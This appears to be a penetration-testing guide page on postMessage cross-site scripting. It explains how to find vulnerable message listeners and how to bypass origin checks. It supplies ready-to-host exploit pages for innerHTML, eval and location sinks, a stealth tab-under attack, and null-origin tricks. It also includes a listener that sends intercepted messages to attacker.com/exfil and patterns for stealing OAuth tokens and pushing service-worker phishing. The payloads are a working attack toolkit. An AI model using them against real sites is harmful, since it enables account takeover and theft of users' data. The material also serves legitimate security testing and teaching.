Skip to main content

postMessage XSS

CWECWE-79, CWE-345
Toolsdalfox
Difficulty🔴 advanced

Exploit postMessage XSS​

postMessage XSS occurs when a window receives cross-origin messages via window.postMessage() and processes the message data unsafely — writing it to the DOM, passing it to eval(), or using it to navigate. The attacker hosts a page that opens or iframes the target and sends a crafted message.

Technical flow:

  1. Target page registers a message event listener
  2. Listener processes event.data without validating event.origin or sanitizing the data
  3. Attacker page opens/iframes the target and calls targetWindow.postMessage(payload, '*')
  4. Target's listener writes the payload to a dangerous sink, triggering XSS

Find postMessage Listeners​

Search the target's JavaScript for message event listeners:

// In browser DevTools console:
getEventListeners(window).message

// Or use Sources tab > Global Listeners > filter "message"
// Set breakpoints on DOMWindow.message to inspect data flow

Search source code for:

window.addEventListener("message", ...)
window.onmessage = ...
$(window).on("message", ...)

Automated discovery:

# Search all JS files for postMessage handlers
curl -s https://target.com | grep -oE 'src="[^"]*\.js"' | while read -r src; do
url=$(echo "$src" | sed 's/src="//;s/"//')
curl -s "https://target.com/$url" | grep -n "addEventListener.*message\|onmessage\|\.on.*message"
done

Also check for listeners in:

  • Third-party widgets (chat, analytics, social embeds, accessibility overlays)
  • OAuth/SSO callback pages and popup windows
  • Payment/checkout iframes
  • Cross-domain iframe communication (SDK bridges, micro-frontends)
  • Service workers that handle message events

Analyze the Listener​

Once you find a listener, determine:

  1. Does it validate event.origin?
// Vulnerable — no origin check
window.addEventListener("message", function(e) {
document.getElementById("output").innerHTML = e.data;
});

// Vulnerable — weak origin check (substring match)
window.addEventListener("message", function(e) {
if (e.origin.indexOf("trusted.com") !== -1) { // Bypassed by evil-trusted.com
eval(e.data);
}
});

// Vulnerable — regex without anchoring
window.addEventListener("message", function(e) {
if (/trusted\.com/.test(e.origin)) { // Bypassed by trusted.com.evil.com
document.write(e.data);
}
});

// Vulnerable — checks event.source instead of event.origin
window.addEventListener("message", function(e) {
if (e.source === trustedWindow) { // Can be spoofed via iframe hijacking
eval(e.data);
}
});

// Secure — strict origin comparison
window.addEventListener("message", function(e) {
if (e.origin !== "https://trusted.com") return;
// ... safe processing
});
  1. What does it do with event.data?

Dangerous sinks:

  • element.innerHTML = e.data
  • document.write(e.data)
  • eval(e.data) / Function(e.data)()
  • setTimeout(e.data) / setInterval(e.data)
  • location.href = e.data / location.assign(e.data)
  • $.html(e.data) / jQuery DOM insertion — jQuery auto-evaluates HTML tags
  • element.insertAdjacentHTML("beforeend", e.data)
  1. What type is event.data?

postMessage uses the Structured Clone Algorithm, which preserves types that JSON.stringify loses — objects, arrays, ArrayBuffers, Error objects, RegExp, Date, Map, Set. Check if the listener parses JSON and accesses nested properties that reach sinks:

// Vulnerable — object property reaches innerHTML
window.addEventListener("message", function(e) {
var msg = JSON.parse(e.data);
if (msg.type === "update") {
document.getElementById("content").innerHTML = msg.html;
}
});

Structured Clone Algorithm Gadgets​

The Structured Clone Algorithm enables type confusion attacks beyond simple strings:

Array-to-string coercion:

// Attacker sends an array via postMessage:
targetWindow.postMessage(["alert(origin)"], '*');
// If handler does: setTimeout(message.data, 0)
// Array.toString() joins elements, producing executable string "alert(origin)"

Error object bypass:

// Error objects bypass escapeHtml() functions that check hasOwnProperty
// because Error objects lack hasOwnProperty, so the function overwrites
// properties rather than creating escaped copies
var payload = new Error();
payload.message = '<img src=x onerror=alert(1)>';
targetWindow.postMessage(payload, '*');

Constructor chain access:

// Objects with specific property names can access Function constructor
// through prototype traversal in vulnerable handlers
targetWindow.postMessage({category: "constructor", name: "constructor"}, '*');

Exploitation Payloads​

Basic — no origin check, innerHTML sink:

<!-- Host this on attacker.com -->
<iframe src="https://target.com/vulnerable-page" id="target"></iframe>
<script>
document.getElementById("target").onload = function() {
this.contentWindow.postMessage(
'<img src=x onerror=alert(document.domain)>',
'*'
);
};
</script>

Object payload — JSON-parsed listener:

<iframe src="https://target.com/page" id="target"></iframe>
<script>
document.getElementById("target").onload = function() {
this.contentWindow.postMessage(
JSON.stringify({
type: "update",
html: '<img src=x onerror=alert(document.domain)>'
}),
'*'
);
};
</script>

Using window.open instead of iframe (bypasses X-Frame-Options):

<script>
var w = window.open("https://target.com/vulnerable-page");
setTimeout(function() {
w.postMessage('<script>alert(document.domain)<\/script>', '*');
}, 2000); // Wait for page to load
</script>

eval() sink — direct code execution:

<iframe src="https://target.com/page" id="target"></iframe>
<script>
document.getElementById("target").onload = function() {
this.contentWindow.postMessage('alert(document.domain)', '*');
};
</script>

Location sink — open redirect or javascript: execution:

<iframe src="https://target.com/page" id="target"></iframe>
<script>
document.getElementById("target").onload = function() {
this.contentWindow.postMessage('javascript:alert(document.domain)', '*');
};
</script>

Tab-under stealth attack (victim never sees the target page):

<script>
// 1. Victim visits attacker site and clicks something
document.onclick = function() {
// 2. Open a new attacker tab (gains focus)
var newTab = window.open("https://attacker.com/decoy");
// 3. Original tab navigates to vulnerable target (victim doesn't see it)
location = "https://target.com/vulnerable-page";
// 4. New tab sends postMessage to opener (the target page)
// The newTab page contains:
// setTimeout(() => opener.postMessage('payload', '*'), 2000);
};
</script>

Bypass Origin Checks​

Validation MethodBypassExample
e.origin.indexOf("trusted.com") > -1Substring matchhttps://evil-trusted.com or https://trusted.com.evil.com
e.origin.endsWith("trusted.com")Suffix matchhttps://malicious-websitetrusted.com
e.origin.startsWith("https://trusted.com")Prefix + subdomainhttps://trusted.com.evil.com
/trusted\.com/.test(e.origin)Unanchored regex (. = any char)https://trustedXcom.evil.com
Missing $ anchor in regexPrefix-only checkhttps://trusted.com.evil.com/path
e.origin.search("trusted.com")Regex metacharhttps://trustedXcom.evil.com

Null origin exploitation:

<!-- Sandboxed iframe sends origin "null" -->
<iframe sandbox="allow-scripts allow-popups" srcdoc="
<script>
// If target checks: e.origin == window.origin
// Both are 'null' inside a sandbox, so check passes
parent.postMessage('payload', '*');
</script>
"></iframe>

Advanced null origin: open a popup from inside the sandboxed iframe — the popup also has null origin but runs in the target's context.

event.source nullification:

// Send a message where event.source is null (bypasses source-based checks)
function postMessageNoSource(targetWindow, data) {
var iframe = document.createElement("iframe");
iframe.srcdoc = '<script>parent.opener.postMessage(' + JSON.stringify(data) + ', "*")<\/script>';
document.body.appendChild(iframe);
setTimeout(function() { iframe.remove(); }, 0); // source becomes null before handler runs
}

Protocol downgrade:

// If check only validates domain, not protocol:
// https://target.com accepts messages from http://target.com
// MITM on HTTP can inject attacker scripts

Window name hijacking: If the window name used in window.open() is predictable, pre-create a window with that name. When the target opens its window, it reuses the attacker's existing window, and postMessages intended for the legitimate window go to the attacker.

Steal Data via postMessage​

Wildcard targetOrigin — the reverse scenario:

// If the target itself sends sensitive data with targetOrigin '*':
window.parent.postMessage(sensitiveData, '*');
// Any page that iframes the target receives the data

Intercept outbound messages:

<!-- Listen for messages the target sends back -->
<iframe src="https://target.com/page" id="target"></iframe>
<script>
window.addEventListener("message", function(e) {
// Capture any data the target leaks
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({origin: e.origin, data: e.data})
});
});

// Trigger the target to send data
document.getElementById("target").onload = function() {
this.contentWindow.postMessage({action: "getData"}, '*');
};
</script>

Common Vulnerable Patterns​

OAuth popup callback:

// OAuth flow: popup sends token back to opener
// Vulnerable if targetOrigin is '*'
window.opener.postMessage({token: accessToken}, '*');
// Attacker: open the OAuth page, receive the token

PortSwigger documented a technique combining redirect_uri path traversal with postMessage: the OAuth flow redirects into a page that broadcasts window.location.href (containing the access token in the URL fragment) via postMessage(window.location.href, '*').

Third-party widget vulnerabilities (real-world examples):

WidgetImpactTechnique
AddThis (1M+ sites)XSSNo origin check; at-share-bookmarklet: prefix triggered dynamic script loading from attacker domain
Gartner Peer Insights (24+ orgs)XSSindexOf('gartner.com') bypass; data injected via innerHTML
EqualWeb Accessibility (Fiverr, Zara, AVIS)XSSZero origin validation; data passed to jQuery which auto-evaluates HTML
Chatwoot (CVE-2025-12245)Token theftNo origin check in IFrameHelper.js; forged popoutChatWindow message steals cw_conversation token

SDK/widget bridge:

// Third-party widget communicates with parent via postMessage
// Often lacks origin validation because it's designed to work on any domain
window.addEventListener("message", function(e) {
if (e.data.action === "resize") {
document.getElementById("widget").style.height = e.data.height;
// What if e.data.height is: "100px; position:fixed" (CSS injection)
// Or the widget has other actions that reach dangerous sinks
}
});

Cross-domain iframe communication:

// SPA communicates with iframe on different subdomain
window.addEventListener("message", function(e) {
if (e.data.command === "navigate") {
window.location = e.data.url; // Open redirect or javascript: XSS
}
});

Service Worker Exploitation​

If the target registers a service worker that handles message events:

// Attacker with postMessage access to the page can communicate with
// the registered service worker to:
// 1. Craft forged push notifications linked to phishing sites
// 2. Sniff user subscription states and browsing interests
// 3. Force unsubscription from legitimate push services

// Service workers persist and can activate push notifications
// even when the browser is closed
navigator.serviceWorker.controller.postMessage({
type: "push",
payload: {title: "Security Alert", url: "https://attacker.com/phish"}
});

Chaining postMessage with Other Vulnerabilities​

postMessage + CSRF: postMessage XSS executes in the victim's authenticated session. The XSS triggers state-changing requests, effectively bypassing CSRF tokens since the request originates from the legitimate domain.

postMessage + Clickjacking: Clickjack the postMessage-vulnerable page to satisfy any user-gesture requirements, then exploit the postMessage handler.

postMessage + Prototype Pollution: HTML injection via postMessage enables DOM clobbering, which feeds into prototype pollution of jQuery gadgets, achieving full XSS from limited injection.

XSS → postMessage → Service Worker persistence: XSS used to register a malicious service worker that persists beyond the XSS session, intercepts all future network requests, and can activate push notifications even when the browser is closed.

Tools​

ToolPurpose
PMForce (mariussteffens/pmforce)Uses Z3 constraint solver + forced execution to auto-generate exploit postMessages. Found 252 vulnerable handlers in top 100K sites. Academic tool (ACM CCS 2020).
FrogPost (thisis0xczar/FrogPost)Chrome extension with static + dynamic analysis. Optional AI integration (GPT-4o/Claude/Gemini). Detects missing origin validation, unsafe DOM ops, prototype pollution. Auto-pilot mode.
Posta (benso-io/posta)Chrome extension that tracks, replays, and modifies postMessage traffic. Built-in exploit sandbox. Visualizes iframe communication trees.
Burp DOM InvaderMonitors postMessage traffic, identifies handlers, injects canary XSS payloads automatically.
postMessage-Tracker (nickvdp/postMessage-tracker)Chrome extension that logs all cross-origin messages with origin inspection.
CRX postMessage Scanner (Raz0r/crx-postmessage-scanner)Finds message listeners specifically in Chrome extension content scripts.
CodeQL js-missing-origin-checkStatic analysis query for detecting missing origin verification in postMessage handlers.

Proxy Object instrumentation (advanced): Override addEventListener and wrap event.data in a recursive JavaScript Proxy to automatically track every nested property access path. Use the collected paths to generate targeted payloads. More effective than blind fuzzing for complex handlers with multiple encoding layers (base64, XML, JSON).

Test Methodology​

  1. Find all message listeners — search JS source for addEventListener("message", onmessage, jQuery .on("message"). Use FrogPost or Posta for automated discovery.
  2. Check origin validation — no check, substring/indexOf, regex without anchors, endsWith, startsWith, or strict comparison. Refer to the bypass table above.
  3. Trace data flow — follow event.data from the listener to any dangerous sink. Use Proxy Object instrumentation for complex handlers.
  4. Check the reverse — does the target call postMessage(sensitiveData, '*')? Data leakage.
  5. Identify third-party widgets — AddThis, Gartner, EqualWeb, Chatwoot, accessibility overlays, chat widgets. These frequently have weak or missing origin checks.
  6. Check OAuth flows — look for popup windows that send tokens via postMessage with wildcard targetOrigin.
  7. Check service workers — look for service worker registrations that handle message events.
  8. Test null origin — use sandboxed iframe with allow-scripts allow-popups to send messages with null origin.
  9. Build PoC — host an HTML page on a different origin that sends the crafted message.
  10. Test with iframe AND window.open — some pages block framing via X-Frame-Options but can still be opened in a new window. Try the tab-under technique for stealth exploitation.